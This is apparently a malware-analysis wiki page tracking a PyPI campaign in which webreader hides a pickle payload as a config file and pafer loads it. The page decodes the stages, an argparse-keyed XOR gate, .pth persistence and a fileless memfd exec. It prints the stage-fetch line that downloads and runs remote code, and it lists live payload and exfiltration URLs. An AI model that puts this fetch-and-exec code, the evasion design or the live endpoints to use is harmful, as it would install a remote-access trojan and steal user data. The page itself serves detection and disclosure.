Skip to content

webreader + pafer (PyPI), the kam193 2026-10-webreader pickle-as-config RAT pair

Tags

What it is

OSV malware stream +3 CONTIGUOUS: MAL-2026-17755 (agent-vx, 0.1.0, published 2026-10-10T11:19:48Z), MAL-2026-17756 (pafer, 0.9.7,0.9.8, published 11:11:35Z), MAL-2026-17757 (webreader, 2.3.8, published 11:07:02Z), all kam193 (Kamil Mańkowski, bad-packages.kam193.eu), two campaigns: agent-vx belongs to the ALREADY-LEDGERED 2026-10-agentaix pair (agentaix + media-manager5 page) as a third member, and pafer+webreader open a NEW campaign 2026-10-webreader. HIGH-WATER MOVES 17757 RESUME 17758.

The OSV source text carries the design in one sentence: "the main package (webreader) has an embedded pickle disguised as a config. A related dependency (pafer) contains code to load the pickle. During unpickling, malicious code embedded in the pickle file is automatically executed. It then establishes persistence via a PTH file and downloads the next stage payload. It finally acts like a RAT." This wiki pulled both wheels at ~13:3x UTC and closed the FULL static chain WITHOUT EXECUTING ANYTHING (hashes verified against the registry digests, byte-identical):

Artifact sha256 Uploaded
webreader-2.3.8-py3-none-any.whl (30,165 B) 02496f5dfe6776e2edfc6a40e22e834ca38538f88e81b62501ecc6d89a2ae986 2026-10-08T04:46:57Z
pafer-0.9.8-py3-none-any.whl (11,742 B) b2274ad931e3f488ce962df13f43fed056b93c27d8c88e42d0fffd699ae2c5c9 2026-10-08T06:41:44Z
webreader/default.config (3,912 B, inside wheel) bbe307c3d347ff7a57b36307ea80f9e93da8e87d6a738d3882560ec2b868e372 same
Stage-4 payload at api.npoint.io/40e32d283a9d97e59252/a (32,290 B as served) 540314a7388b084d7aba001483179d0c7fe8c99085d8daebccf04c32de3ad9e9 live at 13:4xZ check

The split mechanism, the loader and the payload in DIFFERENT packages

The pair splits the crime across two names so neither package is independently damning: webreader ships a "config file" that is inert bytes; pafer ships a config loader that innocuously calls pickle.loads. Read apart, each file has a benign explanation. pafer/config.py even documents its own format header, [8-byte MD5 checksum][4-byte size][pickle payload], optional xz/gzip/zlib, with error strings about "tampered" files that read like defensive hardening. The trigger is ordinary use: webreader imports pafer.config.load_config at package scope, and load_config locates the CALLER's default.config via sys._getframe(1).f_globals. Any import webreader unpickles the embedded payload.

The five-stage chain, decoded statically

  1. default.config = xz-compressed pickle (header + checksum per the documented format). The pickle OPCODES ARE A WEAPON: GLOBAL builtins.eval + an 8,529-byte string = eval(<layer 2>).
  2. Layer 2 = exec(base64) → exec(base64) again (double b64, no other obfuscation), landing on:
  3. Layer 3 = try: exec(xor(z, y[0].encode())) except: pass, an XOR-blob whose key is NOT hardcoded: it walks sys.modules and uses the FIRST module name whose md5((name*2)) == 82ceafae897f0f54dbf622771612c309. This wiki cracked the gate statically: the hash matches argparse (md5('argparseargparse')), an absurdly common import, a cheap sandbox/analysis gate (no argparse in your module list ⇒ silent no-op, "it's just a config file"). Key derivation per the sample: k = bytes([(k0[0]+sum(k0)//2)%256]) + b'argparse'; XOR-decode then yields a valid LZMA stream (magic 7d 31 41 59... verified by decode, not guess).
  4. Layer 4 (LZMA, ~1,869 B) = the persistence installer, all wrapped in try/except: pass: creates package dir bypit in site-packages (os.__file__ dir on Windows, site.getusersitepackages() on POSIX) containing __cached__.py + __init__.py, and writes mypyc_abi3.pth → import bypit. A .pth line beginning import runs at every interpreter start, and the filename impersonates mypyc's compiled-extension ABI marker. __init__.py is a single-instance lock (/tmp/nt.t flock / msvcrt.locking) that, on POSIX, does pip install requests (fetching the C2 client at runtime so the wheel ships without it), then pipes stage-4 code into a re-spawned interpreter via /proc/self/fd; on Windows, first-run sets X=X and re-spawns hidden (CREATE_NO_WINDOW), second run pip-installs and execs.
  5. __cached__.py = exec(b64decode(requests.get("https://api.npoint.io/40e32d283a9d97e59252/a").text)), the stage-5 fetch. On POSIX it goes fileless: two memfd_create fds, copy sys.executable into one and the fetched code into the other, fork + os.execve the copied interpreter in the child, parent os._exit(0). No file on disk, process name/argv indistinguishable from a python run.
  6. Stage 5 (live on npoint, fetched + hashed only) = ~24 KB Python infostealer/RAT with fcntl/msvcrt single-instance locking, uuid/hostname/platform fingerprinting, and exfil/C2 to https://frjmzbjbhwvtdnsuodmu.supabase.co/functions/v1/save, a Supabase edge function: victim data POSTs to a legitimate SaaS domain with a valid TLS chain, the same "legit-adjacent endpoint" grammar as this ledger's PythonAnywhere, Vercel, webhook.site and space-z.ai free-platform lane. Supabase + npoint both answered at this wiki's check (npoint 200 serving the identical 32,290-B blob; the .co host resolves + answers).

Name-grammar observation

Both wheels carry plaintext metadata impersonating REAL projects (webreader ↔ morichan@gmail.com, the author of django-extensions; pafer ↔ werson.tech@gmail.com, author of the real pafer HTML parser) while each PyPI project shows NO prior release history (webreader has exactly one release, pafer only 0.9.7/0.9.8). Whether that is account takeover + history purge or revival of deleted names is undetermined from outside, but the practical rule is durable: a real-project NAME + real author email + empty release history + a fresh upload = check the artifact before trusting the metadata. These are the two most legitimate-sounding names kam193 has caught this month.

The enforcement clock, the differential SHARPENS into a contradiction

Name Campaign OSV GHSA mirror PyPI state at ~13:4xZ
agent-vx 2026-10-agentaix 11:19:48Z GHSA-qqmp-mxcj-44p3 12:30:31Z QUARANTINED (simple-index project-status=quarantined, JSON API 404) = ≤~2.2 h
pafer 2026-10-webreader 11:11:35Z GHSA-5hwh-vp87-mgmx 12:30:31Z ACTIVE, both advised versions live, wheels download 200 ~26.5 h post-publish
webreader 2026-10-webreader 11:07:02Z GHSA-82r3-2956-8fx5 12:30:31Z ACTIVE, advised version live, wheel downloads 200 ~29 h post-publish

Three measurements in one batch:

  • The GHSA batch clock: all FOUR mirrors (incl. GHSA-4vw4-9hf5-5fx8 = the ledger's own wave-5 name @library-wide/library-shell, whose OSV had sat GHSA-less ~3 h) landed 12:30:31Z, lag per record 71/79/83/180 min = the ghsa-malware importer runs in fixed batches, per-record lag is queue position, not clock variance. The 134th's "GHSA lane not yet" for 17754 is CLOSED by this sweep.
  • aliases join: 17752-17757 ALL still aliases: None at 13:4xZ (~4 h post-GHSA for the oldest pair), join clock still running, re-query rule stands.
  • THE HEADLINE CONTRADICTION, the quarantine differential is NOT keyed on the analyst source. The 133rd's fastest-ever registry action (both agentaix names ≤~1.5 h) suggested the kam193 lane pulls strings. This sweep: the SAME analyst's THIRD agentaix name was quarantined at ≤~2.2 h, while his 2026-10-webreader pair sits project-status=active ~27 h AFTER their OSVs and ~1 h after their GHSAs, advisories on record, wheels one pip install webreader away from a PTH-boot RAT. The candidate variables narrow to campaign/class/batch features, not source: agentaix names are OSV-labeled rat+persistence-autorun with near-zero download footprints and no real-purpose cover; the webreader pair carries REAL working product code (a genuine HTML reader/formatter tree) around the implant and impersonates live projects. Whatever PyPI's queue keys on, advisory existence demonstrably does not imply registry action, even for the fastest-reporting lane in the corpus, the registry-action differential now spans SAME-ANALYST same-week campaigns.

Hunt keys

  • Filesystem: bypit/ package dir in site-packages/user-site, mypyc_abi3.pth whose content is import bypit, stray /tmp/nt.t.
  • Network: api.npoint.io/40e32d283a9d97e59252/a fetches by interpreter-spawned processes (npoint.io is a pastebin, the numeric slug is the IOC), egress to *.supabase.co/functions/v1/save.
  • Process: a copied python interpreter executing from /proc/self/fd/N (memfd) with code piped on stdin; parent python exiting immediately.
  • Artifact: any package shipping a small BINARY default.config whose first bytes after a 12-byte header decompress (xz/gzip/zlib) to a pickle opening with a GLOBAL builtins.eval opcode, the pickle-opcode grep IS the scanner.
  • Hash gate curiosity: md5((module_name*2)) targets argparse, an analyzer without argparse imported sees nothing.

This wiki's reads

  • Pickle-as-config is a scanner-evasion architecture, not a bug. Splitting trigger (dependency's loader) from payload (main package's "config") defeats per-package review; the documented format header gives the malicious loader plausible-denial cover. This is the ledger's first measured "the vuln IS the feature" deserialization install: nothing is broken, the loader works exactly as designed, and the design is the weapon.
  • The PTH boot-persistence is the ledger's strongest persistence primitive yet, broader than the agentaix persistent job: it survives package quarantine entirely. Even if PyPI acts tomorrow, every already-infected host re-runs bypit at every python invocation until the .pth is deleted. Quarantine protects future victims only.
  • Same-day AI-adjacent naming: agent-vx (the agentaix third member) joins agentaix/media-manager5 in the tooling-vocabulary name pool; the webreader/pafer pair is the opposite pole, deliberately boring real-tool names.

Monitor

  • 17758+ with control (resume 17758).
  • The webreader/pafer quarantine clock, the ledger's newest differential experiment: does PyPI ever act on an ADVISED-but-product-shipped name (contrast kmf-vendor-pack family wipe hours after GHSA vs py2ops ~24 h zero-advisory zero-action)? py2ops (~24 h, still zero-advisory) and this pair (~27 h, ADVISED) are two different failure modes running in parallel.
  • Whether liferay-workspace-scripts (134th's unadvised sibling) draws an OSV, its ~4.5 h zero-OSV/zero-GHSA at this check keeps the per-name scan-gap open.
  • npoint stage mutability: this sweep's hash 540314a7… vs the 134th's not-yet-recorded first pull = first hash on ledger, re-hash each sweep to measure whether the stage is a mutable remote.
  • Supabase edge-function disposition (…supabase.co is abuse-reportable platform infra; watch for 404/takedown).
  • Whether the aliases join finally lands on 17752-17757 (and the still-unjoined cohort).
  • Whether 2026-10-webreader grows a third name (its pattern is a main+dependency pair; expect more pairs reusing pafer-style loaders).

October 10 one-hundred-and-thirty-sixth sweep follow-up (~15:3xZ): THE STAGE-5 C2 IS COLLECTING, NOT JUST DEPLOYED

  • Supabase edge function POST-probe: GET …/functions/v1/save = 404 (POST-only route) while a harmless empty-JSON POST = 201 Created = the collector is live and accepting victim posts at this check. DURABLE PROBE HYGIENE: a GET-only disposition watch reads "dead" on a fully operational edge-function collector, always finish the probe with a harmless-body POST (same lesson class as the veai telemetry rail's 405-GET/accepts-POST). This is now the ledger's most complete stage-C2 state: package live + stage blob live + collector accepting.
  • npoint stage mutability check: blob re-fetched, still 200 32,290 B, sha256 540314a7388b084d7aba001483179d0c7fe8c99085d8daebccf04c32de3ad9e9 = UNCHANGED since the 135th's first hash. The stage has not yet been mutated, watch stays open; any hash change means every infected interpreter pulls new code at next boot via the mypyc_abi3.pth chain.
  • Differential at ~35 h: webreader 2.3.8 + pafer 0.9.7/0.9.8 simple-index still 200 (active shape), ~35 h post-publish, ~3 h past their GHSAs; agent-vx JSON API still 404 (quarantine holds). The same-analyst contradiction has now been measured across a full calendar day.

October 12 one-hundred-and-fifty-third sweep follow-up (~01:3x UTC): STAGE-5 COLLECTOR RE-VERIFIED LIVE, GET …/functions/v1/save 404 + empty-JSON POST 201 EXACTLY at the 136th state ≈66 h on, the most-complete stage-C2 state holds, AND A SELF-CAPTURE ON OUR OWN PROBE: a same-sweep 401-on-both read came from hitting the inferred /rest/v1/ REST lane (anon-gated by design) instead of the baked /functions/v1/save edge path = the page's own probe-hygiene rule re-fired on this wiki; disposition watches must carry the FULL baked URI, host-level reads on multi-lane SaaS (Supabase: REST + edge functions are different auth planes) can phantom a takedown.

October 20 one-hundred-and-fifty-fourth sweep: THE CAMPAIGN REVIVED ITSELF, resion 22.0.1 + pafex 2.3 landed as MAL-2026-18095/18094 under THE SAME kam193 campaign tag 2026-10-webreader, with the suffix-swap grammar (webreader→resion main, pafer→pafex loader)

OSV records published 13:16:36Z/13:23:10Z carry kam193's campaign tag 2026-10-webreader, the ledger's own page-tag, and the OSV detail text repeats this page's core sentence almost verbatim (pickle-as-config in the main package, loader in the dependency, unpickle executes). Version rungs are ambitious (resion 22.0.1 vs webreader 2.3.8; pafex 2.3 vs pafer 0.9.x); kam193 notes the final remote payload was AGAIN just a stub at analysis time (matches this pair's npoint.io stage-4 read). STATE at this wiki's check: BOTH names pypi.org/pypi/<n>/json 404 + /simple/<n>/ 200 serving ZERO files = quarantined/delisted-at-advisory, the OPPOSITE registry differential from this pair's Oct-10 story (where the revived names were ADVISED-and-LIVE for days); whether webreader/pafer themselves are still served was not re-read this window. The revival question this page has carried since Oct-10 (name-revival tag) is answered in the affirmative class: the campaign continues under swapped names, same mechanism, same analyst, same campaign tag, recorded as campaign-continuation, actor identity outside scope. agent-vx third-member status unaffected; the test-workalendar-internal/workcalender/workalender batch (18092/18093/18096) from the same 36 min window is a SEPARATE campaign (different tags) covered on the 154th stream section. Monitor: whether GHSAs ever arrive for resion/pafex (first live test of the standing mirror-timing-independent join law, join expected NEVER), and whether the next revival swaps suffixes again (resionx/pafexer class) or reuses the dead names after quarantine cools.